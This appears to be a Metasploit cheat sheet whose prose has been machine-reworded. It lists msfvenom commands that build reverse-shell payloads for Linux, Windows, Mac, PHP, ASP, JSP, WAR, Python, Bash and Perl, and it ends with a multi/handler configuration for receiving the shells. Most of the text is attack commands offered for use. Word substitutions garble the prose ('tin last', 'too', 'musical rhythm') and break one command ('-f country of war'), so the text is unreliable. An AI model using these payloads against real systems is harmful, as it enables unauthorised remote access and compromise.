Often 1 of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads tin last created amongst this module too it helps something that tin give yous a musical rhythm out inwards nigh whatever situation. For each of these payloads yous tin become into msfconsole too direct exploit/multi/handler. Run ‘set payload’ for the relevant payload used too configure all necessary options (LHOST, LPORT, etc). Execute too expression for the payload to last run. For the examples below it’s pretty self explanatory precisely LHOST should last filled inwards amongst your IP address (LAN IP if attacking inside the network, WAN IP if attacking across the internet), too LPORT should last the port yous wishing to last connected dorsum on.
List payloads
Binaries
Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf |
Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe |
Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho |
Web Payloads
PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php |
ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp |
JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp |
WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f country of war > shell.war |
Scripting Payloads
Python msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py |
Bash msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh |
Perl msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl |
Shellcode
For all shellcode run across ‘msfvenom –help-formats’ for data every bit to valid parameters. Msfvenom volition output code that is able to last cutting too pasted inwards this linguistic communication for your exploits.
Linux Based Shellcode msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
Windows Based Shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
Mac Based Shellcode msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
Handlers
Metasploit handlers tin last peachy at apace setting upwards Metasploit to last inwards a seat to have your incoming shells. Handlers should last inwards the next format.
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z |
Once the required values are completed the next ascendence volition execute your handler – ‘msfconsole -L -r ‘
